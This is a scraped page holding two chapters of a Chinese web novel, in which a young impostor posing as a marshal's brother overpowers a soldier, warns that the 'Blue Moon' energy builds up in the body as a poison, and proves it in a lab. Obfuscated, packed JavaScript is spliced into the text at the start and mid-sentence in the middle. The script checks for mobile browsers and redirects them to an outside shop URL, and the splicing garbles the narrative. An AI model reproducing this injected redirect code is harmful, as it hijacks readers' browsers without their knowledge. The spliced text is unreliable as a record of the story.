l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176268|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
命都不保喽。”
迎着他清澈的目光,苏罗非但没退开,反而趁势趴下,松弛地托腮打量。
“怕什么,我说了,我跟你们是共犯,而你们今后是我的俘虏。谁想罚你们,就得先经过我的同意。”
好端端的游戏规则又成了卖身契,尼克咋舌,搔了搔耳根。
他最终弱弱地接一句。
“可是,我们都跟军队签过协议,违反的话是要被……”
一个意想不到的提问突然问住了尼克。
“那你们都是自愿的?”
稍作思索,尼克给出自己的答案。
“是啊,在这不仅有吃有穿还能学知识,虽然免不了作战,但至少家里今后会一直有军方补助,大家都乐意参军。”
“噢,是么。”
听众的反应比他预想中的平淡,很快也别过目光,像是为思索而放空双眼。
试探着,留意着,尼克·哈里斯攀住旁边挂绳,缓缓向上爬。
余光一直映着那张沉思的脸,他将呼吸心跳压沉,然后在双膝触及地面的刹那——
身体扭转,抬臂劈下。
右腿抻直,贴地横扫。
尼克·哈里斯终于如愿使出在坑底就想出的致命两招。
目标是嚣张了全场的黑发青年,将他的颈动脉窦与侧腹锁定。
得手了!
年轻士兵内心欢呼,又在下一秒迅速消弭,完成到错愕的转变。
他看到懒散伏在地面的青年眼珠一斜,对他扬起了笑。
那仿佛早知他的使诈,看穿他的偷袭,就等着他不自量力地——
天旋地转。
这是尼克·哈里斯脚踝被抓握,胸口被踩痛后唯一清晰的感受。
“唔、咳!”
后背重摔在地,他像块莹润的石头滑出十几米。
痛感似电流,瞬息间窜遍他快散架的身体,当他再睁眼,看到的又是一副令他心惊肉跳的画面。
重创他的青年不知何时跃到更高的掩体墙上,蹲伏着像一头成年豹,死死盯着他。
“你,应该很擅长逃跑吧。”
上方传来的声音轻柔,却柔得令人毛骨悚然。
“太擅长说谎的家伙,总得多备点保命的伎俩。”
“否则……要是被可怕的人逮住的话,那条养出太多花言巧语的舌头,是会被回收的啊。”
——恐怖混乱狂躁咀嚼血腥死亡肝胆俱裂必死无疑痴心妄想——
在对方扑下来的一瞬,猎物即金发青年的大脑自行组词。
言语凌杂而直接,启动躯体的本能奔逃,他几乎没有犹豫,扭头冲进通道。
有什么在他身后逐秒逼近,似巨人的脚步倾轧。
可怕。
有什么有条不紊,无视常理地在空间弹跳,封锁全部死角。
可怕……
从背后闪过的阴影,属于一个高高跃起,直取他项上人头的猎手。
可怕!可怕!可怕!
为什么世上会存在这样的生物!
为什么这样的生物偏偏有着人的相貌!
受惧意完全支配,面色煞白的青年于下一个拐口停止了逃亡。
不是他被抓住了,而是前面有人挡住了。
黑发黑眸,身着深蓝军装苏霆与他相隔五米。
他刹住脚却因惯性摔倒,而他身后的捕猎者依然没有停止那诡谲的进攻。
具体有多怪异呢?
同样被震住的苏霆看得一清二楚。
过道灯光狂闪,是移动的人形借力于墙面和天花板上蹦跳。
紊乱的电路就如同那流弹般的前进轨迹,挟着死亡的劲风直击他的咽喉。
常年操练,杀敌无数,防御与反击的步骤早已刻入苏霆骨髓。
哪怕在极限的时间里他认出了袭击者,想起对方与自己的身躯差异,他闪身后的上踹动作也撤不回了。
重量级在吨以上,他这一踢将会踹裂毫无防护的青年胸骨,伤及其心肺。
到那时,这人就真的要变成血淋淋的‘红’了。
来不及了。
一声‘不好’已至唇边,苏霆的嘴配合瞪大的双目又将其修正。
“什么——”
那抹人影避开了。
如能在空中游弋的鱼苗,苏罗瞬切姿态,从张牙舞爪地袭击变成一道笔直流线。
他双手把住苏霆脚面,借力向上甩身。
凌空,翻转,找准位置坠落。
当他落向苏霆下意识伸出的手,被其稳稳接住时,他甚至有余裕晃一晃交叠的长腿,仿佛是嫌这‘吊床’硬得慌。
“你来接我啦,大哥!我好想你呀,所以就等不及过来找你啦!”
他朗声欢呼着,脸颊微红眼含喜色,俨然一个思念兄长的乖宝宝,孺慕之情溢于言表。
“啊……”
脖颈被搂,横抱着人,可怜苏元帅还沉浸在刚才瞬秒间的交锋,只发出一个干巴巴的音节。
至于趴倒在地的尼克·哈里斯,他就更不好了。
遇见元帅他自认倒霉,可当他听见‘蒙迪戈’甜甜地喊出大哥一词时,他如遭雷劈,灵魂直接出窍一半。
啊?
他也在心里发出一样的音词,愣直地望向那名青年。
这是真货?
这真是小少爷?
这俩兄弟的感情真那么好?
此地此刻,尼克·哈里斯终于得到了‘乱说话’的教训。
如今情形微妙,氛围好似屋外的寒冷潜入,别有用心地冻结空气。
除去从头到尾自在的苏罗,唯二免受石化之刑的就是一旁的季参谋了。
尽管他心里也并不平静。
目睹前者对苏霆贴贴脸颊,亲密摸胸,他不久前说的‘兄弟禁断恋’玩笑如回旋镖一样扎进脑海。
“啪!”
他猛地搭住发小兼上司右肩,神情格外凝重。
“您可以放小少爷下来了,长官。”这是他首次用如此疏远的称呼提醒,严厉犹如敲钟警告。
——这孩子还未成年呢,你这口是心非薄脸皮的闷骚男大哥
此为他竭力通过眼神传达的讯号。
7. 元首的蓝宝石07
“所以说,根本不是这么回事。”
“噢。”
“完全不是你刚才想的那样。”
“嗯嗯,我听着呢,长官。”
“季宇飞,你够了……”
这简直是有史以来的最爆炸的超级大事件。
八面威风,雷厉风行的苏霆元帅,竟然也有对属下面露难色,有理说不清的时候。
他为难的‘原因’正舒舒服服霸占他的座位,吃着自己带的糕点,喝着季宇飞泡的热茶,好不悠闲。
糕点份量很足,装满整个三层礼盒,苏罗没有丝毫要分享的意思。
他甚至不愿客套几句,只顾自己一口接一个的塞,没咀嚼两下就吞咽,速度快得匪夷所思。
不知道的还以为他是饿死鬼重生,唯恐谁来虎口夺食。
但觉得他的吃相喜庆,季宇飞又不自觉地帮人续杯,温声询问他是否要添小料。
反倒是水杯空空的元帅被彻底冷落在一旁。
因参谋长上进的服侍态度,苏罗大发慈悲理会他了。
“再加五勺糖,半杯奶,还有那瓶蜂蜜也全挤进去,反正——”
说话间又咽下一大口奶酥,苏罗呲牙笑道。
“反正我大哥也喝不完,会愿意让给我的吧,对么?”
被他这个刺头扯进对话,苏霆是万般不情愿的。
于是在苏元帅的半无视、半默许的前提下,季宇飞还真倒光了整瓶蜂蜜。
白瓷杯盛满一团乌黑浓稠的流体,令人联想到巫师搅拌的坩埚,里面沸着刺鼻熏眼的魔药。
看着如此邪恶,绝对会被饮茶爱好者群殴的产物,饶是季宇飞也不敢恭维。
后来见苏罗脖子一仰咕嘟咕嘟灌,整杯下肚毫无压力,他即刻行注目礼鼓掌,情不自禁的。
“在下竟不知,小少爷您的口味……如此别致,倒是令我们大开眼界了。”
填饱肚子,苏罗发出满足的哈气声,让身体陷进皮椅的靠垫,转动底盘的六轮。
“你可以再去多擦擦眼睛,今后要大开眼界的事,唔……多着呢。”
犹如酒劲作祟,苏罗咽着涌上喉咙的气,餍足地哼哼一声。
若不看他夸张的食量,霸占哥哥地盘的蛮横行径,还有之前擅自闯入营地、恐吓追打新兵的违规操作,他这幅样子倒勉强能和人畜无害沾边。
他眯眼似要小憩,苏霆见机将两张纸夹着笔,精准掷到桌上。
“让你顶替真正苏洛的罪魁祸首找到了。”苏霆声音冷得像能结冰,无动于衷的神情仿佛是在谈论一个陌生对象。
男人是伪装还是真不在乎,苏罗无需也没判别的必要。
他用两指夹起这架‘飞机’,纸与眼睛隔得老远。
“佐伊·贝内特,跟随苏家近四十年的家庭医师,也是佩佩郡本地出来的唯一一个医学生,他那份关于蓝月能源人|体改造再优化的研究报告,还曾在首都获过奖。”
过目不忘的季宇飞总结出概要,也习惯性地补全白纸黑字后隐藏的脉络。
“是他十七年间一直在伪造你的体检报告,包括最初……”
出事的上代元帅夫妻,他们原本安生留在营内,一人待产一人陪同。
可不知中途发生了什么,那两人竟连夜搭乘私人航车离开山脉。
失联十三个小时,他们最后发来一条消息给苏霆,告知他的弟弟苏洛平安降生。
再之后就是航车坠毁的噩耗。
仪器的核心系统自动返送求助信号,定位到山脉另一面的峡谷。
那里山石陡峭,无处下脚,常年浸淫在暴风雪的急流之中,是完完全全的人类禁区。
根据航线的数据判断,当时那对夫妻是准备翻过山峰,怎料与一股强冷空气相遇,不幸坠毁。
当搜寻部队抵达时,就只看到金属残骸中的两具面目全非的尸体。
以及,躺在唯一一个保护舱里的婴儿。
“佐伊医生帮夫妻俩验尸,他亲自照顾你三年,虽然后来他作为特招人员去了首都医院,但……”
说到这季宇飞微顿,看一圈两个假兄弟的神情才试探道。
“但后面依然是他经手小少爷每年的例行体检,血样分析也是。而上个月他突然辞职,全首都都找不到他的踪迹。”
别说首都了,他名下所有财产资金不见流转痕迹,整个人像凭空蒸发一样。
旁听的苏霆暗自闭了闭眼。
因为是从父母那代开始信任,并且常年伴在身边的熟人,谁也没想到一开始就是佐伊医生动的手脚,更猜不出他隐瞒十七年之久的用意。
若要说次要责任在谁,常年忽视弟弟的苏霆也可以说是一名间接帮凶。
既是为公事与职责所困,也涉及到私人因素。
家庭剧变后,是他下意识逃避了。
他将弟弟与不堪回首的悲剧画上等号,用疏远来隔绝潜在的问题,一个他无法完美解决的矛盾。
一边是已有十二年情感的至亲,一边是突然降世也没多期待的婴儿,牵挂的指针有所偏移是人之常情。
只要看到那日复一日长大的男孩,他就会不可避免地想到永远停留在那天的双亲。
于是,某种强烈抵触的危险情绪就会穿透心脏。
时至当下,真正的‘苏洛’是否还活着都难说。
把皮椅晃成摇椅,苏罗吐出一句相当刺耳的提问。
“怎么,现在觉得后悔了?我情深意重的好大哥啊。”
沙发上的苏霆不置可否,抬首反诘。
“我看你倒是不后悔。这个苏家,这个斯卡蒂到底有什么好处吸引你这么坚持地留下?”
他没提青年绑架前后的突兀转变,因为他知道审问不会有回应。
他没再追究对方言行举止的出格,因为他明白阻拦毫无意义。
此时此刻,他仅以北军元帅的身份跟人对话。
犹如一场战前商谈。
意识到的瞬间,苏霆似脚滑踩进沼泽,为自己的大意和泥浆的难缠缄默。
未满半个月,他居然就先亲自结束了对方给的‘考虑期限’。
这到底是他没沉住气,还是对方的‘绝对心境’有左右现实的可怕能力,竟真的把他带进弯沟里……
注视苏元帅沉吟时的脸,季宇飞也不动声色忖量着。
他虽然拿苏洛少爷打趣发小,对其笑脸相迎,可他怀有的忌惮分毫未少。
在外人看来突然‘觉醒’的青年,展露出一定的眼界实力。
是过去藏拙也好,因故异变也罢,围绕他的命题始终避不开一个‘他想要什么’。
另外,如果是要跟他们交易的话,他又能给什么?
纸张哗哗,在苏罗右手里压缩成一粒石子大小,最终被弹进壁炉。
完成证据的销毁,他摆正身体,双手交握平放于桌案。
“你们是我选中的阵营。”
他的声音平缓,却包含一种深沉的力度。
“是我看中你们的价值,并认为它将会在我手中实现量的跃迁,在未来达到足够与我相衬的水准。”
“能够接受我的指令,成为我的子民,景仰我的身影,追逐我的脚步,将会是你们能得到的最高回礼。”
道出一番比态度有过之而不及的自大宣言,苏罗话锋一转。
“如果我真这么说,你们肯定要把我连夜打包轰出去了。所以你们就先当预热,听一遍过过脑子吧。”
他两手在脸颊边摊开,笑嘻嘻地模仿太阳花。
苏元帅冷哼,季参谋干笑,唯有走到正点的挂钟为苏罗冷笑话般的转折捧场,铛铛敲响。
以假咳清嗓子,季宇飞自告奋勇插话道。
“小少爷,劳烦您解释得再详细些,不然您知道的,像元帅这么口拙舌笨直来直去的粗人,您把饭直接喂到他嘴边他也不咽。”
‘粗人’苏霆欲言又止,却被参谋有意的一瞪噤声。
比他圆滑太多的季宇飞继续扮演弄臣,又像是哄小孩的金牌保育员,果然立竿见影。
“嗯,言之有理。”苏罗右手五指轮流轻敲桌面,他装出一副捉弄人的口吻道,“大哥,您得找个机会改一改这些坏毛病,否则未来会很吃亏哦。”
“多谢提醒,我个人的事我自有决断。”
苏霆说罢站起身,同季宇飞站到一起,终于离开会被主位之人看扁的角落。
笑够男人难改的执拗,苏罗话回正题。
“我知道你们不会信任我,而我也不需要你们的信任,所以,作为晚宴前菜的甜头,我就特别赠予两位一个忠告吧。”
季宇飞面带微笑,看不出深处的心绪。
苏霆一脸厉色,目光冰冷地审视。
青年的一句话瞬间改写了二人的神态。
“你们应该庆幸,在那毒药不知不觉放倒你们所有冤种弃子之前,它自己就先枯竭流尽了。”
毒药?
两个营中的最高位者不约而同想到一个答案。
“蓝月?”季宇飞低声道,“这不可能,蓝月能源可是通过所有检测和试算的,那还是科技没退行的旧时代,没可能造假的。”
“谁跟你说造假了?”苏罗懒洋洋打断他,“没错,你们看到的,相信的全都是真的。”
季宇飞无所适从地一怔。
工于智计,学识渊博,他立马从青年的哂笑中解读出了全句。
有关蓝月能源的奇迹性能是真的。
但他们所相信并知晓的,却不是全部。
固有认知惨遭撼动,他一时无法扭正,嘴巴自行辩驳。
“可血红王推动下的变革成功了,人类体能大幅提升,子代的基因有效优化,那些重伤残疾的人,不都、不都——”
他的独角戏突然唱不下去。
何等愚蠢。
何其可笑。
同样失语的苏霆已能熟练地从青年脸上找出这两句话。
或许是他们呆愣的样子取悦到了对方,也可能是念在季宇飞之前的恭维到位,青年没像医院那天忽然抽风发威,而是娓娓道来。
“初期推行当然是大成功,可你们别忘了,事物是有周期的。”
“你们自己也会研发武器,应该有这个概念吧。”
新研发的药物和技术,要从最小也是最可控的单位开始临床试验。
而经过动物、植物、人类志愿者的一轮尝试,蓝月能源通过长达数十余年的考察。
因为有先进的生产技术,良好的环境条件,过去人类的平均最高寿命在一百五十岁。
首次接受蓝月改造的志愿者,一名因生育瘫痪的omega,她不仅身躯复原,还健健康康地活到两百零五岁才因为意外离世。
刚试图搬出该例子扳倒苏罗,季宇飞闪躲不及,又被对方的下一句直掏心窝。
“可是,‘沉降’确实已经大面积发生了吧。”
接受改造的alpha和omega摆脱腺体的掌控,其后代机能水平提高,天然的对信息素有耐性……
可有耐性,不就是另一层面上的失效吗?
“啊,对了对了,还有一点我忘了说呢。”
仿佛按表掐点,苏罗在另两人稍微缓神的时刻再度出击。
“无污染,不耗损,你们是这么赞颂它的吧,那个便利的,什么奇迹般的玩意儿。”
到这节骨眼上了,他依然抖机灵不念能源的全名。
一如他此后直视季宇飞,摩挲下巴的调笑态度。
“那东西要是进了人体……还代谢得出的来吗?”
季宇飞如被扼住咽喉,张着的嘴再也发不出声。
在他眼里,看他像看滑稽戏的青年,一个笑得可恨可怖的观众,已然是摧毁他世
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176269|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
界的魔鬼。
无耗损,无污染,有如神迹般的特质。
那意味着注入人体的蓝月能源将会百分百地存留,并且通过生育传递下去。
浓度与含量代代叠加,得到的固然是后裔强化翻倍的结果。
可其他的呢?
如果累积到一定程度,又会发生什么?
周期只有一生的他们,根本看不到没有始末的能源将会如何渗透他们,乃至整颗星球的未来。
“现在是对信息素不敏感的话,下一波应该也是相近或相通的地方先被麻痹掉吧,毒不都是这样靠循环扩散的么。”
嘲笑般的提醒再起,季宇飞已维持不了礼貌的对视。
他盯着自己脚尖,还有被他踩出褶痕的地毯,眼前一暗一明,晕得厉害。
循环。
蓝月无法单独在外保存长久,所以基本即取即用,但能稀释或短暂承载它的物质,星球上却遍地都是。
水,土壤,植物的根系,流动的风……
曾被奉为神物的东西,其实就泛滥地蛰伏在生态循环的每一处。
只不过那些都无法像他们人一样,有目的性地筛选巩固,想方设法地延长保存时间,完美提升它的渗透率。
可这东西,这根本没有思想,没有生死概念的暗杀者,到底想干什么……
嘴唇因心悸发干,季宇飞已彻底没了后话。
其实他大可再虚张声势地质疑一下,过后再按此思路慢慢调查。
但是,今天苏霆也在场。
年轻元帅仍是一语不发,然双眉间的深深纵纹已暴露他杂沓的内心。
想追问却不知从何问起,想发声却是无话可说。
他最后沦落到只能喃喃自语的地步。
“这件事,难不成当初就有人……知道。”
被他们祭奠的祖先,怀念的旧日主宰,蓝月的推行者。
血红王不可能不知情的。
若真如此,那他们岂不是成了——
“罪犯的后代,人类的叛徒,家传的帮凶。”
讨人嫌的怪家伙不知何时伸长手,比在他眼前问道。
“以上三个您更喜欢哪一个头衔啊,嗯?大哥。”
再听讥讽的话,苏霆完全怒不起来了,他长长一叹,望向挂满整面墙的照片与功勋。
他原以为雪崩还未发生,如今却迎头一棒被告知制造暴雪,吹动寒风的人竟有自己一个。
那他们家那么多年苦苦守护着的,又是什么?
真是何其荒唐。
真是何其可悲。
眨眼压下两声喟叹,苏霆再转向青年又恢复原状。
“普莱德他们也知道,是么。”他完全是低声求教的口吻,透着一丝急促,“他们会有解除影响的办法,能找到终止扩散的手段,对么。原始资料全在他们手上。”
男人好不容易放下脸面与偏见,却得到对方摆摆食指,恶意耍弄的答复。
“说好只是前菜,您怎么又变贪心了?哥,这样不好,会教坏小孩的,比如说你弟弟我。”
苏霆:“……”
两股气在苏霆狂呼吸的胸膛里乱撞,他粗重的呼吸声一度叫醒魂飘状态的季宇飞。
看着后者不断做出快冷静的手势,他扶腰垂头,低声一笑。
“哈……”
他算是看明白了。
傲慢青年的无常脾性不是目的不纯,而是太纯粹了。
所有人的窘迫,苦恼,悲痛,垂死挣扎,在自诩为王的青年看来都只是一味调剂的余兴节目。
“如果我这叫贪心,那你的应该叫什么?无底洞吗?”苏霆语速加快,表情莫名生动了些。
“那是当然。”苏罗用椅子转着圈,“我必须是最贪婪的,也只能有我一个。”
与过去一味的鄙夷不同,听懂意思的苏霆哑然失声。
贪婪即为器量,若没有装载善恶极端之间的全部,阅见人世种种欲望,又谈何立于众生之上。
这种人,绝不会有世俗意义上的占有欲。
因为他默认不管事物如何易主,只要在自己的触及范围内,那就是记在他的名下。
大众评断的高低贵贱对他来说也了无意义,因为他自会有看重,或该说眷顾的一方。
而那会赋予全新的价值。
恍然间,苏霆攥紧的手中又出现了粘稠触感。
被咬一口的苹果溢出蜜||汁,似洗礼的圣水滴落,铺开,将迷惘的阴霾一扫而空。
捏出手汗的苏霆目光不自觉地游移。
窗帘下摆的红坠,青黑金属的桌腿,一番迂回飘荡后,他与另一双黑眸正面相迎。
似曾相识的情形,今天的他却被人撑着脑袋端详。
那看不出真意的浅笑唯有一条讯号清晰可读。
——余准许你胆大包天的直视了
苏霆右手轻轻一抽,并未避开视线,反而是在心里发笑。
无奈且另附一种‘是该如此’的笑。
他不禁去想,今后和这人共事或许也是一个疯狂却值得期待的选择……
一点整时钟敲响,这场三人会谈以意想不到的方式开始,也以稀奇古怪的情形结束。
只见苏罗眉头一皱,单手撑桌跳出来。
他径直冲过季宇飞苏霆中间,火箭一样撞开大门。
好在他还记得自己乖弟弟的角色,临了退几步扒在门旁报告。
“银河少女战士换时间播了,我先赶回去看了,拜拜大哥!啵~”
一枚看不见的飞吻在空气里飘荡,苏霆脸上的倦意肉眼可见增多,最终让他黑了脸。因为走廊外不知何时候着一批错愕的下属,有幸目睹全程。
“果然,还是算了吧……”
他摁着眉心否决刚才的‘共事’想法。
这如四季无情变换的家伙,实在无福消受。
8. 元首的蓝宝石08
这实在是非寻常凡人所能承受。
是大福,也是绝对的大祸。
一念之差的转变并不掌控在持有者的手中,乃是那位授予者。
在拿到印有苏家家徽的邀请函时,尼克·哈里斯连咽数口唾沫。
他心里像住进了一个灵感飞溅的诗痴,替他写出绝妙感言。
“我家主人的意思我已传达到,请阁下今晚务必前来捧场,莫要浪费那位的一片好心。”
银发老人照本宣科,念完转身便走。
“等等!”
尼克跟上一步叫住人。
“您说的主人,他是——”
执事模样的老者侧目,有神的眼睛掷来一道锐利视线。
尽管萌生退意,但尼克用更旺盛的探求欲盖过了。
“请问是苏元帅送我的请帖吗?”他站定,恭敬地小声询问。
嘴上点明的是一个,他暗含期待的眼神却在巴望着另一答案。
“苏元帅业务繁忙,他只是本次晚宴的发起者。”
老执事回以同样含蓄的答复,说罢径直离去。
昏暗宿舍独留金发青年一人,在原地反复摩挲着烫金请帖,描摹着细腻印花。
“只是发起人吗?那么……”
那么,真正要他去的人,只能是三天前他们宣誓效忠的‘国君’——苏洛少爷了。
当他调动记忆,留在脊髓深处的颤栗感便会复苏。
紧接着,他不得不像这三天里每一次想到那青年后的那般,只能瘫坐某处。
他依然害怕,但亢奋无法遏止。
他明知要远离,但安逸被窝外的冰冷传说仍让他着迷难忘。
“到底是为什么?”尼克自问着,借助刚才的‘灵感’成功解答。
他曾听闻,繁华首都有着数不清的娱乐场所,一些有闲钱的人会为追寻刺激而去滑雪蹦极,徒手攀岩。
生在极寒之地,日夜与危机作伴,过去他不懂这些儿戏一样的做作项目有什么值得体验。
幸运如他,因为一场游戏领悟了。
青年呼出口浊气,渐渐止住震颤,正好半小时的午餐结束,室友们成群归来。
见了他的样子,听完他的解释,他当天的三名同伙坐不住了。
“这这、这该不会是鸿门宴吧!”
他的下铺反应激烈,高声喊道。
“后来元帅一直都没责罚我们,指不定就是不愿在极度宠爱的弟弟面前动怒破坏形象,现在打算秋后算账。”
尼克闻言喉头一哽,他正欲反驳,可眼前却又闪过苏霆怀抱着人,快步闪入门后的画面。
动作那样的急切又谨慎,仿佛生怕旁人多看一眼,生出不该有的心思。
“你快别乱说了。”曾是大话王的尼克笑得勉强,“如果真是为了追究我,怎么单独请我一个?”
“哎,对哦。”
合理的猜疑打开思路,同僚们又纷纷追问起来。
“那又为什么只找你啊?讲不通啊。”
“你再跟我们说说看,你大前天到底对那小少爷做了啥?”
“该不会想教训你的不是元帅,是小少爷?”
……
似是乐于听见自己与传闻中的‘蒙迪戈’绑定,尼克又找回标志性的精明嘴脸。
他不禁抱臂笑道。
“说不定——人家小少爷是看上我了呢?对我一见钟情吧。万一我未来入赘成功,你们可别羡慕我哦。”
的确是看上了。
也的确是‘一见钟情’。
不过如今这位小少爷的意思却与尼克·哈里斯的调侃天差地别。
在世界原有的轨迹上,苏洛因腿疾养伤一年,闭门不出。
一年后,真正的‘苏洛’即流落在外的真少爷谢云哲被找回,他偶然和已是上等兵的尼克·哈里斯相识,与其成为亲密好友。
尼克折服且仰慕于谢云哲,察觉苏洛在暗中针对谢云哲,便用起一张巧言令色的嘴。
他不仅加快了苏洛的倒台,还在对方被赶出门后忽悠不少好兄弟前来加倍奉还。
那么,如今以苏洛身份邀请青年,是为了顺手报复吗?
还是想提前笼络人心,避免未来重蹈覆辙?
若有谁当面向苏罗提这两个问题,他的回应一定如当下。
抓起,助跑,以标准的满弓姿势将人投掷,用劲之大仿佛能让其射穿群山高楼,绕行整个星球一周。
不过在基地的研究分区,他扔的不是标枪或问蠢话的人,而是职员拿给他解闷的杂志。
“这个无聊!”
“这难看死了!”
“这种毫无营养的东西你们居然也敢拿来敷衍我?”
……
伴着他的声声鄙夷,藏书与画报满天飞,六名接待人员满头大汗地去接、去捡他丢的东西,狼狈得不行。
不知是否是错觉,他从一开始的随手扔变得越扔越远,也越玩起劲。
简直是把他们当狗一样逗弄。
才十分钟就闹得鸡飞狗跳,他在姗姗来迟的季宇飞心里再次刷新了记录——为非作歹的程度记录。
连续三天没合眼,季宇飞缓了缓才露出职业假笑。
他上前迎接道。
“小少爷,让您久等了,我——”
正说着他眼前一黑,整张脸埋在软绵绵,湿漉漉的物体中。
而且,他还闻到一股难以言喻的腥味。
“好耶!正中红心!”
苏罗在沙发上高呼,与呆若木鸡的众人形成鲜明对比。
只见一滩软体生物盖住季宇飞全脸,虽然它开始黏住了,可却败给重力又一点点滑落。
啪嗒,‘活面具’掉地上了,是枚海星。
它最后溅出的黄绿粘液又弄脏季宇飞的浅色裤腿。
季宇飞:“……”
这一刻,参谋长的表情仍定格在前几秒的笑,双眼则彻底死了。
难得见他出糗,跟他熟络的职员既担忧又想笑,只能拼命忍耐唯恐冒犯了他。
但却不是苏罗要顾虑的。
“噗、噗哈哈哈!”
现场爆发出一阵放肆又豪迈的大笑,是苏罗拍着沙发扶手前仰后合。
“好!很好!喂你们几个看好了,这才叫娱乐,这才是让人真正发笑解忧的好戏。”
听他高调称赞,也就季宇飞擦干了脸接应他。
以带人参观为由,季参谋独自将青年领进大堂深处的入口。
穿过三道安全门,他们并肩走在一条全封闭甬道。
道路通往的尽头,是全基地仅有五十人才有资格踏入的绝密实验室。
五十人里近一半是纯研究员,还有的就是季宇飞这样兼具知情权参与权的特例。
而这三天,他们前所未有的忙碌。
一手抓蓝月能源的再解析,一手又加紧破译生物记忆芯片的奥秘。
遗憾的是,付出与回报有时并不成正比。
“一无所获。”
季宇飞粗暴地概括现状。
“解剖过了,化验过了,除了得知那鸽子的大脑比正常的重一点五倍,毫无头绪。”
成分构造都无异状,饶是再顶尖的科研者也无从下手。
至于另一项目,他们的进度就根本没动过。
毕竟实验室的上限摆在那,他总不能凭空变出和百年前一样的尖端仪器。
“抱歉,光让您听我抱怨了。话说回来,您怎么会突然想来这,不然我就提前叫他们收拾好,恭迎您的大驾了。”
快走到底时,季宇飞才问起这茬。
今晚就是苏霆百年难遇举办的第一次聚会,而主角正是大难不死的苏洛少爷。
先不提苏霆,这为极好面子的青年怎会错过亲自监督的机会?
“这个嘛——因为我吃早餐时看到了双黄蛋,不太吉利,所以我就来了。”
“啊哈哈,原来如此。”
料到不会有正经解释,季宇飞一笑而过,接着上前扫描掌纹眼瞳。
“请您先退开几步。”他委婉提醒道。
几秒后密门开启,一股臭味直扑面门。
汗味,馊味,外加化学废料的气味混合,浓郁得已快凝成实体。
往里看,死气沉沉的研究员犹如丧尸,一个个麻木地在各自岗位上操作。
“小少爷,要不您先等会儿……”
季宇飞的后话已没有再说的必要。
对屋里的脏乱臭视若无睹,苏罗背着两手直接走进去。
他步态慢又随意,一路安静来到白鸽所在的实验台。
它的内脏被取出单独码放,每根羽毛也被仔细地标号排开,就像旁边大小一致的表皮切片、肌肉分块。
解析它的人有着顶级钟表匠的严密作风。
“布雷格。”
一道突兀的声音响起,属于面颊凹陷,灰发及腰的高瘦男子。
他没看新访客和季宇飞一眼,兀自坐下戴好手套,接着取出切片放入仪器观测。
“小少爷,布雷格他对谁都是这样子,他刚才是自我介绍来着。我先代他向您道个歉。”
季宇飞连忙解释,求情一般说道。
“他是我们这最顶尖的天才,几乎所有设备都由他用黑||市收购的古董机仿造……”
在今时,‘老古董’反而象征着他们造不出的前沿科技,只能摸索着尝试复原。
听完一番话,苏罗脸上并未浮现不悦之色。
“道歉?”他反而弯起嘴角问,“他为什么要向我道歉?”
“呃,这……”
季宇飞语塞,又刷新了内心记录。
都道帝王心难测,他看这跋扈青年也是一等一的难懂。
就比如他也看不透对方接下来认真翻看报告,又摆出和布雷格同样旁若无人的姿态。
当他快以为小少爷是又玩心大起捉弄人时,对方却手一松,将整沓资料丢进回收箱。
红色启动键按下,所有内容化成碎纸焚毁,消失得彻底。
“您、您这是?!”季宇飞大惊失色。
别说周围半死不活的研究员,就连一贯视人类为空气的布雷格也猛抬头,充血眼珠直瞪苏罗。
他要比苏霆直接多了,胆敢去拽毁掉他们心血的元凶,拉扯其衣领。
“你做什么!”布雷格消瘦的手上暴起青筋,“你知道你刚才毁掉的是什么吗?!”
“你们的白费力气,我被浪费的宝贵时间,可燃垃圾。”
苏罗风轻云淡,说出让季宇飞暴汗的致命发言。
这下不止空气中的臭味实体化了。
众人汇集来的愤怒目光也成了点燃的火把,只欲抛向苏罗将其连同他们多日的压力一并烧毁。
成为众矢之的,苏罗扬起脸,只说了一句。
“你们这有那玩意儿吗,浓度最高,能对人用的那种。”
在场皆为知情人士,立马领会他的意思,可却没有一个配合。
见此情景,苏罗对布雷格嗤笑道。
“那要不你来操作,如何?如果没有收获,我就——”
“马上滚出去!我不需要你说的‘乖乖配合’或多余赔偿。”布雷格抢话,态度仍是强硬,“你以为你是谁?这里是整个斯卡蒂唯一的研究室,每一份数据、每一张报告都是他们用命换来的,也是外面的士兵用断肢惨死支撑的……”
仿佛是气飞了天灵盖,闷葫芦布雷格一次性说光三年量的话,看得众人目瞪口呆。
苏罗听得津津有味,最后还特地等布雷格缓过气才举起双手。
他不是要投降,而是——
“不,我想说的是,如果没有收获,那我就砍掉这双手赔给你们,当场烧掉。决无戏言。”
布雷格的表情霎时一空。
片刻后回神,他再三端详这张悠然笑脸,努力分辨真假。
但苏罗执行力超绝,一把推出大型切割机,双手搁在金属台上。
“喂你快一点啊,我放这等很冷的好吧。”他半靠着仪器催促,眼神制止企图劝阻的季宇飞。
到此为止,没有人再怀疑他。
也因他的不留后路,布雷格稳了稳心神,派人取来这存着的一盒蓝月能源。
百分之三十的浓度,溶解剂是添加过标记液的混合体。
它跟苏罗在狮鹫车上见过的莹绿不同,竟是闪着细碎光芒的天蓝色。
微量液体滴落,浸没指甲盖大的组织片。
布雷格脸贴着视镜,一动不动。
像他注视着放大后的细胞,全员也目不转睛盯着他,将他三分钟后震颤的手,垮塌的肩,以及抬头后脸上的惊骇尽收眼底。
“怎么了,布雷格?”季宇飞率先追问。
“异变……死亡的,细胞,它们在……”
布雷格声音忽高忽低,说不出完整的话。
于是默认对赌协议圆满,苏罗上前抓起白鸽骨架,也是最大一份的实验体。
他动手速度比毁资料时慢,可这回没人阻拦,任他将整块丢入桌上的能源盒。
裹着薄肉的骸骨,毋庸置疑是死物。
除了腐化并被分解,它不会再有任何改变。
然而当它触及绚丽的蓝色溶液,超乎想象的异变发生了。
